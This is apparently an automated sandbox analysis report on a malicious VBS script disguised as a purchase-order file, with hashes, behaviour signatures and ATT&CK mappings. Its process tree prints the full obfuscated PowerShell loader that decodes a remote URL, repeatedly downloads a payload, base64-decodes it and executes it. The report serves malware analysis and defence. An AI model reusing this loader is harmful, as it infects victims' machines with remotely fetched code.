c441c4a1730f4f007d600a25dc94f5ce892cd1c313cce3c213b669f9566fbc81

Resubmissions

16-10-2024 09:33

241016-ljcbsaxejj 10

16-10-2024 07:37

241016-jf9rrszcke 10

Analysis

max time kernel
300s
max time network
302s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
16-10-2024 07:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

KULI500796821_PO20000003.vbs
Size

9KB
MD5

56f94f8aed310e90b5f513b1eb999c69
SHA1

95e42e5458cf0117c08de3c6bda83b699fa9be59
SHA256

a81393b534b9f803d64ca3d43f9e3b8a184a9e790ac20f2f51d347114384e7a2
SHA512

d53890af0815934fb10f4eb3e2eae13da5db60d21a9a89f2426de7bbb5ce7ed495a84a371d8c19ce9b707709b3d18f00bc637262a2d3fc7818333b508af4980e
SSDEEP

192:oiJSEy04EcieX8Qui690HKZRBijzH9Iue0LGmeHkQEvbcB1m:ouz4NHaijzH9ZNLwElDY1m

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
3	3020	powershell.exe
4	3020	powershell.exe
5	3020	powershell.exe
6	3020	powershell.exe
7	3020	powershell.exe
8	3020	powershell.exe
9	3020	powershell.exe
10	3020	powershell.exe
11	3020	powershell.exe
12	3020	powershell.exe
13	3020	powershell.exe
14	3020	powershell.exe
15	3020	powershell.exe
16	3020	powershell.exe
17	3020	powershell.exe
18	3020	powershell.exe
19	3020	powershell.exe
20	3020	powershell.exe
21	3020	powershell.exe
22	3020	powershell.exe
23	3020	powershell.exe
24	3020	powershell.exe
25	3020	powershell.exe
26	3020	powershell.exe
27	3020	powershell.exe
28	3020	powershell.exe
29	3020	powershell.exe
30	3020	powershell.exe
31	3020	powershell.exe
32	3020	powershell.exe
33	3020	powershell.exe
34	3020	powershell.exe
35	3020	powershell.exe
36	3020	powershell.exe
37	3020	powershell.exe
38	3020	powershell.exe
39	3020	powershell.exe
40	3020	powershell.exe
41	3020	powershell.exe
42	3020	powershell.exe
43	3020	powershell.exe
44	3020	powershell.exe
45	3020	powershell.exe
46	3020	powershell.exe
47	3020	powershell.exe
48	3020	powershell.exe
49	3020	powershell.exe
50	3020	powershell.exe
51	3020	powershell.exe
52	3020	powershell.exe
53	3020	powershell.exe
54	3020	powershell.exe
55	3020	powershell.exe
56	3020	powershell.exe
57	3020	powershell.exe
58	3020	powershell.exe
59	3020	powershell.exe
60	3020	powershell.exe
61	3020	powershell.exe
62	3020	powershell.exe
63	3020	powershell.exe
64	3020	powershell.exe
65	3020	powershell.exe
66	3020	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3020	powershell.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
3020	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3020	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3020	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 3020	2536	WScript.exe	30
PID 2536 wrote to memory of 3020	2536	WScript.exe	30
PID 2536 wrote to memory of 3020	2536	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KULI500796821_PO20000003.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Tinklings Interplant Caecilia #>;$Eskimologi='Incumbence';<#Polychord seams Antistreptococcin #>;$Fordelingsnglen=$Glairin+$host.UI;function slushiest($Giganternes193){If ($Fordelingsnglen) {$Yogist++;}$Musikskole=$Loritas22+$Giganternes193.'Length'-$Yogist; for( $Gastrogastrotomy=3;$Gastrogastrotomy -lt $Musikskole;$Gastrogastrotomy+=4){$Pseudosematic++;$Menageries+=$Giganternes193[$Gastrogastrotomy];$Arteriomotor='Disendowment';}$Menageries;}function Unroots($Pilot){ & ($Fravaer) ($Pilot);}$Attributafhngighedernes215=slushiest ',leM io s z MoiRenlFodlBaraObi/Ant ';$Attributafhngighedernes215+=slushiest 'En 5inf.,ar0Tra No,( erW .diKrenGrudsovoU swBrasHus st,N FaTTa. Hin1s r0Csp.Gas0 n; ap rWDisi ysnDef6 na4 Br;Gr, Tidxg n6 To4C c;,le spr.acv,aa: bu1sav3suc1sla.In 0Unl)A t PolG oe Ovc Hokbldosol/ Af2O e0Z g1tub0Fli0Blo1Ban0sky1Ind MakFAlgi ExrUnce refDi o R xCr /siz1Tid3A t1sm .Cot0Und ';$Discern=slushiest ',beuUdksOveeAmmRMei-BakaAl.G dgEOveN .aTRn, ';$Fluktueret=slushiest 'sp hRydtEkstUnrp,ris yd:Osc/ Bl/U ogFdeePren Lga ArsTra.Un g dhrBoa/burbLigsKorq No1ple/KonMsu yU oe,aslAldo ess raP or uscsteoModmMenaPlo.st t iat Cof Ar ';$Engagerede30=slushiest '.al> sl ';$Fravaer=slushiest ' reIAddeQ.iXtsa ';$Rettighedskrav='Hundige';$Hvl='\Nonterminous.Gys';Unroots (slushiest 'Unt$T lGHabL ,iOfjoBBrnaV.rLPo : BiBHalRLone Bipf.rls maru,N B,sUndB FoaLaxa ,uDkrie ,vNAfb=Tan$ oE,ylNUn v .o:Gypa Arp BapsalDAnia F T mA He+Vet$FirhTvrv onlK.m ');Unroots (slushiest 'spy$ AdgHu.LFiloRecb cha onlOf :AigsspaKtalOKhovu blUrobkage ArRInrnDumE BesAch=til$Re,fWeslFeuUWilkdivT skuChiEhy R.hoe TrtUnb.UapsslipC.rlFogI gtA.l(Up.$HisE ChnTa.gPaaAmilgInhETacr grEstrDdele Ne3Fil0di )Utz ');Unroots (slushiest 'Ask[ComnTitEVactEsk.As,sPr eRedr JuvEnkIAdrC raEdiaP,oroTheIAf.NOp,T EumMe a ,anI vaBalgDe e DiRF.r] Pe:Kem:Ka,s aebu C stUEneRRi iUriTso Yst P UhrJusoso.TF roU dcMisO F LIns n= Do Az [DecnforETurT In. egsGele blcsh UForR oI ToT muYsuppDurRToeo iTlokoA hc ko.irlRagtOmdy odPsoce C ] Ga:Ren:PaaT BrlUnbsCho1Unj2,la ');$Fluktueret=$skovlbernes[0];$Phoneticize=(slushiest 'Pro$FrdgAf lAneo.arbRabAAnkL re:Ra sPolKRapjV tON dL.erdpa e uNF le au=comnsilEWawW v -IndoAf BCirj tee NaCTrat Ab DetsBloyRadsVaaT M eshamsub. kunBeaEFa.Tuni.UtiwLeveLyabsy c DaLIrriIdeEc,en Z tF l ');Unroots ($Phoneticize);Unroots (slushiest 'Pr.$Plas epkEu jbefoIssl AfdstieApon drespn.TanHgyle AfaPr,d,ndedemr s sEgo[ski$IroDferiIm sGr.cNi eU yrUn n B,]M l= C $AnmARejtCont isrH risambBloustyt lkaIn,f JyhBarnFlygA kiPe g rhGaseDoedKuleTomr YansoleCits st2Tr,1Byw5 ru ');$spinny13=slushiest 'Ask$Pats akTesjBroo splTifd.aleB nn D,eEu..PreDPinoFakwAren TrlMicoKliaTrsdAttFovei CalCireCo ( a$ DrF hylsteuAn kDelt diuRatePolrGuleBootFo., o$Pans Holhari C dVagbCa aHexnAppeDes) Re ';$slidbane=$Breplansbaaden;Unroots (slushiest ' Fl$GrsG lol B ORo BKryADi lGan: hnOceEWasDAstts vUTe,RGenE VeN Pae s.ssen=Byg(Bo tJrleHers VaTD l- R p raADehtDe hkll Ta.$Wats ElLindi ynDUn,BPr,askaN sme H )Tyk ');while (!$Nedturenes) {Unroots (slushiest ',ni$ edgNonlreso.ombM na.ehlL n:Ca BHjseThes stkConrGraesljr.ursOveaBlak s slausge.=Vej$ Cot,ilrThiuBileGau ') ;Unroots $spinny13;Unroots (slushiest 'Mats ReTVina LirEsmT ki-RamsPedl esE HjE .ePAl sk 4 sl ');Unroots (slushiest 'Fal$,neGEetLBjeoFribs ras.bLsa :MolNs.mE U dWintMenuKorRproE stNEkseHarsKoa=Que(Prit paeAntsChaTM,n-strpCogA eT nthVgr I i$PyrsAmtLNo iM gd WobCraa apnAtmePu )For ') ;Unroots (slushiest ' Ba$CaugChulcanO anBFo,aKonL .n:knisMaaOFigLVe Fskardife Lsd,edsAf,=Pri$GrigUroLCenOPrebstrAB,dLcos:ForfR.frstrebisMRass Goi BrGKamELugll.vsuncE VisAcc+ a+.ar%spe$Clos ,sKBraO aV ibLsp,bCayEs.brs.mnB ue Das sa.Gl c T o.epUAn.NZygTR.m ') ;$Fluktueret=$skovlbernes[$solfreds];}$Frkrigstidernes=321286;$Feist=28101;Unroots (slushiest ' py$ Veg.malstaO roB uaE pLDig: TabValRsale.yoMBa sBloEIodskryPTriOMaeRVolsAnt Dan= se samGMisEMolt.ar- HyCFeloHann PrtMenEFu nTjrTUn, Upt$ rusReplBrei.amDji,bNonAForN OpeIvy ');Unroots (slushiest '.er$ eg CilGrno sabNemaBo,l ia:TrslRecic lcT.leUron ots L aCi bU olFo e Ov Ove=mig st[AblsRapy busZymt L,eskem Ta..ouCLano AdnR,gvGlie DerIndtAg ] el:the:JarFNa rP loColm utBAnaaBessForeca 6job4s,nsPyrtEftrBjeiP onKnsg hi(Nu $PogB AmrMi eT kmDissKwae egsFurpGa.oLaer Iss p )Ami ');Unroots (slushiest 'Vag$ BuGkajLCalo uB h aMicLcal:MonsstakshiOHineKunnGe.sPaa Uf=Cer gud[Cyss ,aYFrasUp.tN bE BiMsup. p TAireD pxUdkT er.Looe itNKalCB.soReiD ,eIunmnjazgB g]fag:Und:CitaPiesEquC api.omiU.d. slGTelE,mbTs rsEudTspiRAnaI teNal.Gbla(Org$ DkL BaI,isCMacE siNAngsUndas ib.esLUngEBef)Pr ');Unroots (slushiest 'Be $ ArgUnlLResOKimBPhoAIhulLou:T ns Bre .uasubffyrAPaaRDanEudp=Pul$ Gas OpkOpsOKraEFisnsk sMun.udssRhyUskibD ds eTLa rOmki uNhowgAlb(r.h$ Flfstar adk exRse,IsttgBess ,otsygIOveDundeCapr HanB ne frs jl, Dk$DawFMare nlIBatsUdkTDel) Ty ');Unroots $seafare;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3020-4-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

Filesize
4KB

Download
memory/3020-5-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-6-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-7-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/3020-8-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/3020-9-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-10-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-11-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

Filesize
4KB

Download
memory/3020-12-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-13-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-14-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download